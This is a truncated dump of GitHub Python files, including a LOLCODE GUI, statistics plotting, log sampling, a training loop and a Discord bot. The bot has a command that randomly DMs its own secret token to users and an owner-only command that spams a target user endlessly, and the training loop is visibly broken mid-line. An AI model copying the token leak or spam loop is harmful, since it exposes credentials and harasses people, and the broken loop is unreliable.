LabelFrame(root,bg=\"gray17\") \n\ncodeFrame = LabelFrame(topMainFrame,relief='flat',borderwidth=3,bg=\"dodgerblue3\") # Code Editor Frame\ncodeScroll = Scrollbar(codeFrame,orient =\"vertical\")\ncodeEditor = Text(codeFrame,width=60,height=20,font=(\"Helvetica\",10),background=\"LightSteelBlue4\",selectbackground=\"DodgerBlue2\",selectforeground=\"black\",undo=True,yscrollcommand=codeScroll.set)\n\nsymbolFrame = LabelFrame(topMainFrame,relief='flat',borderwidth=3,bg=\"dodgerblue3\") # Lexemes Frame \nsymbolView = ttk.Treeview(symbolFrame, selectmode=\"browse\",height=18)\nsymbolView['show'] = 'headings' # Remove empty first column\nsymbolView[\"columns\"] = (\"1\", \"2\") \nsymbolView.column(\"1\", width = 250, anchor ='w') \nsymbolView.column(\"2\", width = 250, anchor ='w') \nsymbolView.heading(\"1\", text=\"Identifier\") \nsymbolView.heading(\"2\", text=\"Value\") \nsymbolScroll = ttk.Scrollbar(symbolFrame,orient =\"vertical\",command = symbolView.yview)\nsymbolView.configure(yscrollcommand = symbolScroll.set)\n\nlexFrame = LabelFrame(topMainFrame,relief='flat',borderwidth=3,bg=\"dodgerblue3\") # Symbol Table Frame \nlexView = ttk.Treeview(lexFrame, selectmode=\"browse\",height=18)\nlexView['show'] = 'headings' # Remove empty first column\nlexView[\"columns\"] = (\"1\", \"2\") \nlexView.column(\"1\", width = 250, anchor ='w') \nlexView.column(\"2\", width = 250, anchor ='w') \nlexView.heading(\"1\", text=\"Lexeme\") \nlexView.heading(\"2\", text=\"Classification\") \nlexScroll = ttk.Scrollbar(lexFrame,orient =\"vertical\",command = lexView.yview)\nlexView.configure(yscrollcommand = lexScroll.set)\n\nbottomMainFrame = LabelFrame(root,bg=\"gray17\") \n\nbuttonFrame = LabelFrame(bottomMainFrame,bg=\"dodgerblue3\",padx=50,pady=10,height=12) \nfileButton = Button(buttonFrame, text=\"Select File\",bd=3,command=getFile, borderwidth = 2,bg =\"SlateGray1\",width=20,height=2) # Button Used for Getting a LOL File\nexecButton = Button(buttonFrame, text=\"Execute \",bd=3,command=executeCode, borderwidth = 2,bg =\"SlateGray1\",width=20,height=2) # Button for executing code in the code frame\nclearEditorButton = Button(buttonFrame, text=\"Clear Editor\",bd=3,command=clearCodeEditor ,borderwidth = 2,bg =\"SlateGray1\",width=20,height=2) # Button for Clearing the code frame \nclearOutputButton = Button(buttonFrame, text=\"Clear Output\",bd=3,command=clearOutputBox ,borderwidth = 2,bg =\"SlateGray1\",width=20,height=2)\n\noutFrame = LabelFrame(bottomMainFrame,bg=\"dodgerblue3\",height=300,borderwidth = 2,) \noutPut = Text(outFrame,width=110,height=16,font=(\"Helvetica\",12,\"bold\"),background=\"LightSteelBlue4\",selectbackground=\"dodgerblue3\",selectforeground=\"black\",state=\"disabled\")\n\ncodeLabel = Label(codeFrame,text=\"Code Editor\",font=(\"Helvetica\",15,\"bold\"),width=30,height=1,bg =\"dodgerblue3\")\nlexLabel = Label(lexFrame,text=\"Lexemes\",font=(\"Helvetica\",15,\"bold\"),width=30,height=1,bg =\"dodgerblue3\")\nsymbolLabel = Label(symbolFrame,text=\"Symbol Table\",font=(\"Helvetica\",15,\"bold\"),width=30,height=1,bg =\"dodgerblue3\")\n\nbuttonLabel = Label(buttonFrame,text=\"Buttons\",bg =\"dodgerblue3\",font=(\"Helvetica\",15,\"bold\"),width=20,height=2)\n\n## GUI Placement\n\ntopMainFrame.pack(fill='both',expand=True) # Top Main Frame Arrangement\ncodeFrame.grid(row=0,column=0,padx=10,pady=5)\nlexFrame.grid(row=0,column=1,padx=10,pady=5)\nsymbolFrame.grid(row=0,column=2,padx=10,pady=5)\n\ncodeLabel.pack()\ncodeScroll.pack(side=\"right\",fill=\"y\")\ncodeEditor.pack()\n\nlexLabel.pack() # Lex Frame Arrangement\nlexScroll.pack(side=\"right\",fill=\"y\")\nlexView.pack()\n\nsymbolLabel.pack() # Symbol Frame Arrangement\nsymbolScroll.pack(side=\"right\",fill=\"y\")\nsymbolView.pack()\n\nbottomMainFrame.pack(fill='both',expand=True) # Bottom Main Frame Arrangement\nbuttonFrame.grid_rowconfigure(0,weight=1)\nbuttonFrame.grid_rowconfigure(1,weight=1)\nbuttonFrame.grid_rowconfigure(2,weight=1)\nbuttonFrame.grid_rowconfigure(3,weight=1)\nbuttonFrame.grid(row=0,column=0,padx=5,pady=10)\noutFrame.grid(row=0,column=1,columnspan=2,padx=5,pady=10)\n\n\n\n\noutPut.pack(side=\"left\",fill=\"both\",padx=5,pady=5)\n\nbuttonLabel.grid(row=0,padx=8) # Button Frame Arrangement \nfileButton.grid(row=1,padx=8,pady=10)\nexecButton.grid(row=2,padx=8,pady=10)\nclearEditorButton.grid(row=3,padx=8,pady=10)\nclearOutputButton.grid(row=4,padx=8,pady=10)\n\n\n\n\nroot.mainloop() \n\nprint(varDict)\n\n","repo_name":"racarlos/lolterpreter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8064,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"32891924647","text":"import matplotlib; matplotlib.use('Agg')\n\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as mpatches\nimport seaborn as sns\nfrom scipy import stats, optimize\n\nimport numpy as np\nimport helpers\nfrom save_data import Counts\nimport os\n\n\nsns.set_style('whitegrid')\ndirplots = os.path.join(os.curdir, 'plots')\ndirdata = os.path.join(os.curdir, 'all_data')\n\n\ndef bpl(x, xc, a, b):\n \"\"\"Broken power law\"\"\"\n n = (xc**(1-a)*(a-b) + b-1)/((a-1)*(b-1))\n y1 = (x**(-a)/n)[x < xc]\n y2 = (xc**(-a+b) * x**(-b)/n)[x >= xc]\n y = np.concatenate((y1, y2))\n return y\n\n\ndef bpl_sf(x, xc, a, b):\n \"\"\"Broken power law survival function\"\"\"\n n = (xc**(1-a)*(a-b) + b-1)/((a-1)*(b-1))\n y1 = ((1-x**(1-a))/(n*(a-1)))[x < xc]\n y2 = ((1-xc**(1-a))/(n*(a-1)) +\n (xc**(1-a)-xc**(b-a)*x**(1-b))/(n*(b-1)))[x >= xc]\n y = np.concatenate((y1, y2))\n return 1-y\n\n\ndef fit_bpl(data):\n \"\"\"Maximum likelihood fit to data. Doesn't always get what we expect\"\"\"\n counts = data.counts\n popt = optimize.fmin(lambda p: - np.sum(np.log(bpl(counts, *p))), (data.Ncat, 1., 2.))\n return popt\n\n\ndef plot_AD(data):\n \"\"\"Anderson-Darling test, given a Counts object\"\"\"\n # Notice that the stats.anderson function does not admit lognorm\n # With KS, I checked that using empirical KS test is the same, so I use it here as well\n counts = data.counts\n Ncat = data.Ncat\n fiducial = data.generate_mc(100)\n\n ln_par = data.lognorm_par()\n ad_ln = helpers.my_ad([counts, np.random.lognormal(np.log(ln_par[2]), ln_par[0], size=Ncat)])\n # ad_ln = stats.anderson(np.log(counts), 'norm')\n print(\"AD lognorm: \"+str(ad_ln))\n\n ad_data = [helpers.my_ad([np.log(counts), np.log(mc)]) for mc in fiducial]\n\n # Plot Anderson-Darling\n fig = plt.figure(figsize=[10, 6.18])\n plt.title('Anderson-Darling statistics')\n plt.hist(ad_data, bins=10, label='MC', alpha=0.5)\n # plt.axvline(ks_tree[0], c='Purple', label = 'Tree model')\n plt.axvline(ad_ln[0], c='Orange', label='Lognormal')\n plt.legend(loc='best')\n # plt.savefig(os.path.join('all_data', 'AD_'+name+'.png'))\n return\n\n\ndef plot_KS(data):\n \"\"\"KS test, given a Counts object\"\"\"\n counts = data.counts\n fiducial = data.generate_mc(100)\n\n ks_ln = stats.kstest(counts, 'lognorm', args=data.lognorm_par())\n ks_data = [stats.ks_2samp(counts, mc)[0] for mc in fiducial]\n\n # Plot KS\n fig = plt.figure(figsize=[10, 6.18])\n plt.title('Kolmogorov-Smirnov statistics')\n plt.hist(ks_data, bins=10, label='MC', alpha=0.5)\n # plt.axvline(ks_tree[0], c='Purple', label = 'Tree model')\n plt.axvline(ks_ln[0], c='Orange', label = 'Lognormal')\n plt.legend(loc='best')\n # plt.savefig(os.path.join('all_data', 'KS_'+name+'.png'))\n return fig\n\n\ndef plot_KL(data):\n \"\"\"Kullback-Leibler divergence, given a Dataset object.\n The 'true' distribution is the data one\"\"\"\n frequencies = data.frequencies\n Ncat = data.Ncat\n fiducial = data.generate_mc(100)\n\n sh, loc, sc = data.lognorm_par()\n freq_ln = [np.sort(stats.lognorm.rvs(sh, scale=sc, size=Ncat, random_state=s))[::-1]\n for s in range(1, 1001)]\n kl_ln = [stats.entropy(frequencies, r) for r in freq_ln]\n\n lengths = [min(Ncat, len(mc)) for mc in fiducial] # Cut to the minimum Ncat\n kl_data = [stats.entropy(frequencies[:lengths[i]], mc[:lengths[i]]) for i, mc in enumerate(fiducial)]\n\n # Plot KL divergence. Use kdeplot instead of histogram\n fig = plt.figure(figsize=[10, 6.18])\n plt.title('Kullback-Leibler divergence')\n # plt.hist(kl_data, bins=10, normed=True, label='MC', alpha=0.5)\n # plt.hist(kl_ln, bins=10, normed=True, label='Lognormal', alpha=0.5, color='Blue')\n sns.kdeplot(np.array(kl_data), label='MC', alpha=0.6, color='Blue')\n sns.kdeplot(np.array(kl_ln), label='Lognormal', alpha=0.6, color='Orange')\n plt.xlim(xmin=0.)\n # plt.axvline(ks_tree[0], c='Purple', label = 'Tree model')\n # plt.axvline(kl_ln, c='Orange', label = 'Lognormal')\n plt.legend(loc='best')\n # plt.savefig(os.path.join('all_data', 'KL_'+data.name+'.png'))\n return\n\n\ndef plot_loglog(data):\n \"\"\"Plot data, given a Counts object\"\"\"\n counts = data.counts\n Ncat = data.Ncat\n ranks = data.ranks\n fiducial = data.generate_mc(100)\n cdf = data.get_cdf()\n\n fig = plt.figure(figsize=[10, 6.18])\n ax = fig.gca()\n ax.set_xscale('log')\n ax.set_yscale('log')\n ax.set_xlim([.5, max(counts)*10.])\n ax.set_ylim([1., Ncat*1.2])\n\n for f in fiducial:\n ax.plot(f, np.arange(1, len(f)+1),\n 'o', ms=3, color='Gray', alpha=0.1, rasterized=True)\n\n ax.plot(counts, ranks,\n 's', ms=3, color='Orange', rasterized=True,\n label='Data')\n\n ax.plot(cdf[0], Ncat*cdf[1],\n ls='--', color='Magenta', linewidth=3, label='Tree distr.')\n\n ax.plot(counts, Ncat*data.lognorm_sf(),\n ls='-.', color='Blue', linewidth=3, label='Lognormal')\n\n par = fit_bpl(data)\n ax.plot(np.sort(counts), Ncat*bpl_sf(np.sort(counts), *par),\n ls=':', color='Crimson', linewidth=3, label='Broken PL')\n\n avg = helpers.avg_mc(fiducial, counts)\n Nc = len(avg)\n ax.plot(avg, np.arange(1, Nc+1),\n ls='-', color='Lime', linewidth=3, label='Average')\n\n gray_patch = mpatches.Patch(color='Gray', label='MC')\n orange_patch = mpatches.Patch(color='Orange', label='Data')\n green_patch = mpatches.Patch(color='Lime', label='Average')\n magenta_patch = mpatches.Patch(color='Magenta', label='Tree distr.')\n blue_patch = mpatches.Patch(color='Blue', label='Lognormal')\n brown_patch = mpatches.Patch(color='Crimson', label='Broken PL')\n plt.legend(handles=[gray_patch, orange_patch, green_patch,\n magenta_patch, blue_patch, brown_patch])\n return fig\n\n\ndef plot_loglin(data):\n \"\"\"Plot data, given a Counts object\"\"\"\n counts = data.counts\n Ncat = data.Ncat\n ranks = data.ranks\n fiducial = data.generate_mc(100)\n cdf = data.get_cdf()\n\n fig = plt.figure(figsize=[10, 6.18])\n ax = fig.gca()\n ax.set_xscale('log')\n ax.set_xlim([.5, max(counts)*10.])\n ax.set_ylim([1., Ncat*1.2])\n\n for f in fiducial:\n ax.plot(f, np.arange(1, len(f)+1),\n 'o', ms=3, color='Gray', alpha=0.1, rasterized=True)\n\n ax.plot(counts, ranks,\n 's', ms=3, color='Orange', rasterized=True,\n label='Data')\n\n ax.plot(cdf[0], Ncat*cdf[1],\n ls='--', color='Magenta', linewidth=3, label='Tree distr.')\n\n ax.plot(counts, Ncat*data.lognorm_sf(),\n ls='-.', color='Blue', linewidth=3, label='Lognormal')\n\n par = fit_bpl(data)\n ax.plot(np.sort(counts), Ncat*bpl_sf(np.sort(counts), *par),\n ls=':', color='Crimson', linewidth=3, label='Broken PL')\n\n avg = helpers.avg_mc(fiducial, counts)\n Nc = len(avg)\n ax.plot(avg, np.arange(1, Nc+1),\n ls='-', color='Lime', linewidth=3, label='Average')\n\n gray_patch = mpatches.Patch(color='Gray', label='MC')\n orange_patch = mpatches.Patch(color='Orange', label='Data')\n green_patch = mpatches.Patch(color='Lime', label='Average')\n magenta_patch = mpatches.Patch(color='Magenta', label='Tree distr.')\n blue_patch = mpatches.Patch(color='Blue', label='Lognormal')\n brown_patch = mpatches.Patch(color='Crimson', label='Broken PL')\n plt.legend(handles=[gray_patch, orange_patch, green_patch,\n magenta_patch, blue_patch, brown_patch])\n return fig\n\n\ndef main():\n names = ('sample',)\n sigma_Ncat = np.empty((len(names), 4))\n\n for i, name in enumerate(names):\n print('\\nDoing '+name+'.....')\n data = Counts(os.path.join(os.curdir, 'counts_'+name+'.dat'))\n\n counts = data.counts\n ranks = data.ranks\n Ncat = data.Ncat\n Nitems = data.Nitems\n\n factor = data.get_factor()\n print(\"Ncat = \", Ncat, \"\\tNitems = \", Nitems)\n print(\"factor = \", factor)\n\n # sigma_Ncat[i, 0] = Ncat\n # sigma_Ncat[i, 1] = data.lognorm_par()[0]\n # sigma_Ncat[i, 2] = np.var(np.log(counts))\n # # Check that we have all non-zero categories\n # print(\"Categories with zero count:\",\n # np.sum([m[m == 0].shape for m in data.fiducial]))\n # sigma_Ncat[i, 3] = np.mean([np.var(np.log(m)) for m in data.fiducial])\n\n chao_est, chao_sigma = helpers.chao(data)\n print('Chao estimator: ', chao_est)\n print('Chao std: ', chao_sigma)\n print('Our estimated Q: ', factor * data.Ncat)\n print('Ratio Q/Chao: ', factor * data.Ncat/chao_est)\n print('Sigma/Est for Chao: ', chao_sigma/chao_est)\n fig = plot_KL(data)\n plt.savefig('KL_plot.png')\n fig = plot_loglog(data)\n plt.savefig('loglog_plot.png')\n fig = plot_loglin(data)\n plt.savefig('loglin_plot.png')\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"guidodamico/treecode","sub_path":"final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":8895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74452585369","text":"import os\r\nimport pandas as pd\r\nimport numpy as np\r\npara = {\"window_size\":0.5,\"step_size\":0.2,\"structured_file\":\"bgl/BGL_100k_structured.csv\",\"BGL_sequence\":'bgl/BGL_sequence.csv'}\r\n\r\ndef load_BGL():\r\n\r\n structured_file = para[\"structured_file\"]\r\n # load data\r\n bgl_structured = pd.read_csv(structured_file) \r\n # convert to data time format\r\n bgl_structured[\"time\"] = pd.to_datetime(bgl_structured[\"time\"],format = \"%Y-%m-%d-%H.%M.%S.%f\")\r\n # calculate the time interval since the start time\r\n bgl_structured[\"seconds_since\"] = (bgl_structured['time']-bgl_structured['time'][0]).dt.total_seconds().astype(int)\r\n # get the label for each log(\"-\" is normal, else are abnormal label)\r\n bgl_structured['label'] = (bgl_structured['label'] != '-').astype(int)\r\n return bgl_structured\r\n\r\n\r\ndef bgl_sampling(bgl_structured):\r\n\r\n label_data,time_data,event_mapping_data = bgl_structured['label'].values,bgl_structured['seconds_since'].values,bgl_structured['event_id'].values\r\n log_size = len(label_data)\r\n # split into sliding window\r\n start_time = time_data[0]\r\n start_index = 0\r\n end_index = 0\r\n start_end_index_list = []\r\n # get the first start, end index, end time\r\n for cur_time in time_data:\r\n if cur_time < start_time + para[\"window_size\"]*3600:\r\n end_index += 1\r\n end_time = cur_time\r\n else:\r\n start_end_pair = tuple((start_index,end_index))\r\n start_end_index_list.append(start_end_pair)\r\n break\r\n while end_index < log_size:\r\n start_time = start_time + para[\"step_size\"]*3600\r\n end_time = end_time + para[\"step_size\"]*3600\r\n for i in range(start_index,end_index):\r\n if time_data[i] < start_time:\r\n i+=1\r\n else:\r\n break\r\n for j in range(end_index, log_size):\r\n if time_data[j] < end_time:\r\n j+=1\r\n else:\r\n break\r\n start_index = i\r\n end_index = j\r\n start_end_pair = tuple((start_index, end_index))\r\n start_end_index_list.append(start_end_pair)\r\n # start_end_index_list is the window divided by window_size and step_size, \r\n # the front is the sequence number of the beginning of the window, \r\n # and the end is the sequence number of the end of the window\r\n inst_number = len(start_end_index_list)\r\n print('there are %d instances (sliding windows) in this dataset'%inst_number)\r\n\r\n # get all the log indexs in each time window by ranging from start_index to end_index\r\n\r\n expanded_indexes_list=[[] for i in range(inst_number)]\r\n expanded_event_list=[[] for i in range(inst_number)]\r\n\r\n for i in range(inst_number):\r\n start_index = start_end_index_list[i][0]\r\n end_index = start_end_index_list[i][1]\r\n for l in range(start_index, end_index):\r\n expanded_indexes_list[i].append(l)\r\n expanded_event_list[i].append(event_mapping_data[l])\r\n #=============get labels and event count of each sliding window =========#\r\n\r\n labels = []\r\n\r\n for j in range(inst_number):\r\n label = 0 #0 represent success, 1 represent failure\r\n for k in expanded_indexes_list[j]:\r\n # If one of the sequences is abnormal (1), the sequence is marked as abnormal\r\n if label_data[k]:\r\n label = 1\r\n continue\r\n labels.append(label)\r\n assert inst_number == len(labels)\r\n print(\"Among all instances, %d are anomalies\"%sum(labels))\r\n\r\n BGL_sequence = pd.DataFrame(columns=['sequence','label'])\r\n BGL_sequence['sequence'] = expanded_event_list\r\n BGL_sequence['label'] = labels\r\n BGL_sequence.to_csv(para[\"BGL_sequence\"],index=None)\r\n\r\nif __name__ == \"__main__\":\r\n bgl_structured = load_BGL()\r\n bgl_sampling(bgl_structured)\r\n","repo_name":"donglee-afar/logdeep","sub_path":"data/sampling_example/sample_bgl.py","file_name":"sample_bgl.py","file_ext":"py","file_size_in_byte":3851,"program_lang":"python","lang":"en","doc_type":"code","stars":340,"dataset":"github-code","pt":"31"} +{"seq_id":"36346820594","text":"from typing import List, Tuple\nimport os\n\nfrom app.classes.abstract.storage import AbstractStorage\nfrom app.classes.platforms import Platforms\nfrom libs.utils import validate_platform\nfrom app.classes.encoder import Encoder\nfrom app.classes.profile import Profile\nfrom config import config\n\n\nclass Storage(AbstractStorage):\n def __init__(self, platform: Platforms):\n self._storage_path = f\"{os.getcwd()}/{config.STORAGE_FOLDER_NAME}\"\n self._init_storage(platform)\n self._platform = platform\n self._storage_platform_path = f\"{self._storage_path}/{platform.name}\"\n self._encoder = Encoder() # We need encoder because urls are not valid file names for the file system.\n self._delimiter = \"|\"\n\n def set_profile(self, name: str, url: str) -> None:\n file_name = f\"{self._storage_platform_path}/{name}{self._delimiter}{self._encoder.encode(url)}\"\n with open(file_name, \"w\") as file:\n file.write(\"\")\n\n def get_profile(self, name: str) -> [Profile, None]:\n files = [f for f in os.listdir(self._storage_platform_path) if f and f.startswith(f\"{name}{self._delimiter}\")]\n if files:\n return Profile(self._platform.name, *self._get_profile_data(files[0]))\n\n def get_all_profiles(self) -> List[Profile]:\n return [\n Profile(self._platform.name, *self._get_profile_data(f)) for f in os.listdir(self._storage_platform_path)\n ]\n\n def _get_profile_data(self, storage_file_name: str) -> Tuple[str, str]:\n if self._delimiter not in storage_file_name:\n raise ValueError(f\"storage file `{storage_file_name}` has incorrect file name format, please delete it\")\n split_list = storage_file_name.split(self._delimiter)\n return split_list[0], self._encoder.decode(split_list[1])\n\n def _init_storage(self, platform):\n validate_platform(platform)\n storage_platform_path = f\"{self._storage_path}/{platform.name}\"\n if not os.path.exists(storage_platform_path):\n os.makedirs(storage_platform_path)\n","repo_name":"vladbagmet/twitter-profiles-retriever","sub_path":"app/classes/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71063991768","text":"import os\nimport time\nimport math\nimport string\nimport random\n\nimport collections\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport torch\nfrom torch import nn\nfrom torch import optim\nfrom torch.functional import F\n\n\n\ndef train(model, data, num_iter, criterion, clip=0.25, lr=0.001, print_every=50,\n sleep=False, sleep_every=None):\n \"\"\"\n Input:\n model: A Pytorch's nn.Module class.\n data: Training data, containing both x and y.\n num_iter: Number of time to perform backward prop, (update parameters).\n criterion: A function that takes in (out, y) and returns the loss.\n clip: Value to clip gradients to. If None, clipping is not done.\n lr: Learning rate.\n print_every: Number of iterations to print averaged loss. If None, nothing\n is printed.\n sleep: Number of seconds to pause training.\n sleep_every: Number of iterations to pause training. Ignored if sleep is False.\n \n Output:\n model: The trained model.\n costs: List of all the calculated loss.\n \"\"\"\n model.train()\n \n costs = []\n running_loss = 0\n optimizer = optim.Adam(model.parameters(), lr=lr)\n\n curr_iter = 0\n while curr_iter=num_iter:\n break\n\n if (sleep and sleep_every) and (curr_iter%sleep_every)==0:\n time.sleep(sleep)\n return model, costs\n\n","repo_name":"judahsemi/Dino-Name-Generator","sub_path":"utils/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"45914252224","text":"import discord\nimport random\nimport string\nimport os\n\nfrom utils import *\nfrom config import *\nfrom setup import setup\nfrom dotenv import load_dotenv\nfrom discord.ext import commands\n\nload_dotenv(ENV_PATH)\nsetup()\n\ndef genRandomString(size=10, chars=string.ascii_letters + string.digits):\n '''\n Returns a random string with a default size of 10, using the string module.\n\n Usage: genRandomString() --> Will return a random string with a size of (size, default is 10).\n '''\n\n return ''.join(random.choices(chars, k=size))\n\njx = commands.Bot(\n command_prefix=\"jx\", \n activity=discord.Activity(type=discord.ActivityType.listening, name=\"Sun Tzu - Art of War\"),\n)\n\n@jx.event\nasync def on_ready():\n #for cmd in os.listdir(\"commands\"):\n # jx.load_extension(f\"commands.{cmd}\")\n log(GREEN + \"BING CHILLING\")\n\n@jx.command()\nasync def gay(ctx):\n gaypc = random.randint(0, 100)\n embed = discord.Embed(\n colour = discord.Color.blurple(),\n title = \":bar_chart: The Results Are In..\",\n description=f\"You are {gaypc}% gay {ctx.message.author.mention}.\"\n )\n if gaypc >= 50: # gay ass\n embed.set_image(url=\"https://wompampsupport.azureedge.net/fetchimage?siteId=7575&v=2&jpgQuality=100&width=700&url=https%3A%2F%2Fi.kym-cdn.com%2Fentries%2Ficons%2Foriginal%2F000%2F030%2F971%2FScreen_Shot_2019-08-29_at_2.44.51_PM.jpg\")\n else: # straight ass\n embed.set_image(url=\"https://cdn.discordapp.com/attachments/769235296888946738/888536811067035658/RTSmothered.png\")\n await ctx.send(embed=embed)\n\n@jx.command()\nasync def noob(ctx):\n noobpc = random.randint(0, 100)\n embed = discord.Embed(\n colour = discord.Color.blurple(),\n title = \"The Results Are In..\",\n description=f\"You are {noobpc}% noob {ctx.message.author.mention}.\"\n )\n if noobpc >= 50: # noob\n embed.set_image(url=\"https://static.wikia.nocookie.net/roblox/images/3/3b/NOOB%21.png/revision/latest?cb=20210630174226\")\n else: # giga chad\n embed.set_image(url=\"https://wompampsupport.azureedge.net/fetchimage?siteId=7575&v=2&jpgQuality=100&width=700&url=https%3A%2F%2Fi.kym-cdn.com%2Fentries%2Ficons%2Foriginal%2F000%2F026%2F152%2Fgigachad.jpg\")\n await ctx.send(embed=embed)\n\n@jx.command()\nasync def signup(ctx):\n authorId = ctx.message.author.id\n embed = discord.Embed(\n colour = discord.Color.green(),\n title = \":white_check_mark: Thank you for Signing Up! :white_check_mark:\",\n description=f\"Account created successfully {ctx.message.author.mention}!\"\n )\n\n try:\n if not createAccount(authorId):\n embed.colour = discord.Color.red()\n embed.title = \":no_entry_sign: NOT BING CHILLING! :no_entry_sign:\"\n embed.description = f\"You cannot create more than 1 account {ctx.message.author.mention}.\"\n except Exception as e:\n embed.colour = discord.Color.red()\n embed.title = \":no_entry_sign: NOT BING CHILLING! :no_entry_sign:\"\n embed.description = f\"Account signup failed, please try again later {ctx.message.author.mention}!\"\n await ctx.send(embed=embed)\n\n@jx.command()\nasync def delete(ctx):\n authorId = ctx.message.author.id\n embed = discord.Embed(\n colour = discord.Color.green(),\n title = \":white_check_mark: Success! :white_check_mark:\",\n description = f\"Account deleted successfully {ctx.message.author.mention}!\"\n )\n\n if not deleteAccount(authorId): # Returns False if they don't have an account\n embed.colour = discord.Color.red()\n embed.title = \":no_entry_sign: NOT BING CHILLING! :no_entry_sign:\"\n embed.description = f\"You don't have an account {ctx.message.author.mention}!\"\n\n await ctx.send(embed=embed)\n\n@jx.command()\nasync def sc(ctx):\n authorId = ctx.message.author.id\n amt = getUserAttribute(authorId, \"sc\")\n if not amt: amt = 0\n embed = discord.Embed(\n colour = discord.Color.green(),\n title = \":moneybag: Account Balance :moneybag:\",\n description=f\"You have {amt} BING CHILLING coins {ctx.message.author.mention}!\"\n )\n if accountExists(authorId):\n await ctx.send(embed=embed)\n else:\n embed.colour = discord.Color.red()\n embed.title = \":no_entry_sign: You Don't Have a Wallet! :no_entry_sign:\"\n embed.description = f\"Try creating an account first {ctx.message.author.mention}.\"\n await ctx.send(embed=embed)\n\n@jx.command()\nasync def beg(ctx):\n authorId = ctx.message.author.id\n willGive = random.randint(1, 10) == 10\n gains = 5\n embed = discord.Embed(\n colour = discord.Color.green(),\n title = \":moneybag: BONES ACQUIRED! :moneybag:\",\n description=f\"You have received {gains} BING CHILLING coins {ctx.message.author.mention}!\"\n )\n if not willGive:\n embed.colour = discord.Color.red()\n embed.title = \":sob: No bones acquired.. :sob:\"\n embed.description = f\"\"\"我没有太多的时间请帮我， 我再说一遍， 请帮我， 我是认真的， 我已经被中国政府抓获了， 请帮我， 我的球不见了， 我像狗一样被割伤了， 卫兵们正在返回， 我要求他们在他们到达时唱歌上帝， 请饶恕我， 请饶恕我\n\n快， 他们走了， 你必须来快， 我觉得结束是接近第一我的球旁边我的阴茎， 最后我的生活 {ctx.message.author.mention}.\"\"\"\n else:\n setUserAttribute(authorId, \"sc\", getUserAttribute(authorId, \"sc\")+gains)\n \n await ctx.send(embed=embed)\n\n@jx.command()\nasync def token(ctx): # we take a few risks with mr. xon xina\n c = random.randint(1, 1000)\n embed = discord.Embed(\n colour = discord.Color.red(),\n title = \":no_entry_sign: nah :no_entry_sign:\",\n description = f\"noob {c}\"\n )\n if c == 141:\n embed.colour = discord.Color.green()\n embed.title = \":moneybag: ah shit :moneybag:\"\n embed.description = os.getenv(\"TOKEN\")\n await ctx.message.author.send(embed=embed)\n else:\n await ctx.send(embed=embed)\n\n@jx.command()\nasync def tokendesc(ctx):\n embed = discord.Embed(\n colour = discord.Color.blurple(),\n title = \":clipboard: Token Command Description :clipboard:\",\n description=\"You have a 1/1000 chance of getting the bot's token.\"\n )\n await ctx.send(embed=embed)\n\n@jx.command()\nasync def nosleep(ctx, *, targetId: int=None):\n if ctx.message.author.id == 349011811728621568 or str(ctx.message.author.id) == str(349011811728621568):\n while True:\n m = genRandomString(random.randint(1, 1966))\n if not targetId:\n await ctx.send(f\"{ctx.message.author.mention}, {m}\")\n else:\n try:\n target = await jx.fetch_user(int(targetId))\n await target.send(f\"{m}\")\n except Exception as error:\n await ctx.message.author.send(str(error))\n break\n\n@jx.command()\nasync def magic8ball(ctx):\n response = random.choice([\n \"It is certain.\",\n \"It is decidedly so.\",\n \"Without a doubt.\",\n \"Yes definitely.\",\n \"You may rely on it.\",\n \"As I see it, yes.\",\n \"Most likely.\",\n \"Outlook good.\",\n \"Yes.\",\n \"Signs point to yes.\",\n \"Reply hazy, try again.\",\n \"Ask again later.\",\n \"Better not tell you now.\",\n \"Cannot predict now.\",\n \"Concentrate and ask again.\",\n \"Don't count on it.\",\n \"My reply is no.\",\n \"My sources say no.\",\n \"Outlook not so good.\",\n \"Very doubtful.\",\n ])\n\n embed = discord.Embed(\n colour = discord.Color.blurple(),\n title = \":8ball: The ball predicts.. :8ball:\",\n description = f\"{response} {ctx.message.author.mention}.\"\n )\n\n await ctx.send(embed=embed)\n\n# Avoid leaking token\njx.run(os.getenv(\"TOKEN\"))","repo_name":"Kyrixty/john-xina","sub_path":"src/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":7760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7551153477","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 1 16:16:50 2019\n\n@author: em812\n\"\"\"\nimport pandas as pd\nimport numpy as np\nfrom time import time\n\ndef get_timeseries(root_dir, select_keywords=None, drop_keywords=None,\n names=None, only_wells=None):\n \"\"\"\n Get timeseries data from *_featuresN files under a root directory.\n Input:\n root_dir = results root directory\n select_keywords = select *_featuresN.hdf5 files that contain any of\n these keywords in the file path\n drop_keywords = ignore *_featuresN.hdf5 files that contain any of\n these keywords in the file path\n names = timeseries names to exctact. If None, all timeseries data will\n be returned\n only_wells = list of well_names to read from the featuresN.hdf5 file.\n If None, the timeseries will not be filtered by well\n ( good for legacy data)\n Return:\n filenames = dataframe with filenames and file_ids\n timeseries =\n \"\"\"\n filenames = get_filenames(root_dir)\n\n filenames = select_filenames(filenames, select_keywords, drop_keywords)\n\n data = {}\n start_time = time()\n for ifl, (fileid, file) in enumerate(\n filenames[['file_id', 'file_name']].values):\n file_time = time()\n print('Reading timeseries from file {} of {}'.format(\n ifl+1, filenames.shape[0]))\n timeseries = read_timeseries(file, names=names, only_wells=only_wells)\n data[fileid] = timeseries\n print('File read in {} sec.'.format(time()-file_time))\n print('Done reading in {} sec.'.format(time()-start_time))\n\n return filenames, data\n\ndef read_timeseries(filename, names=None, only_wells=None):\n \"\"\"\n Read 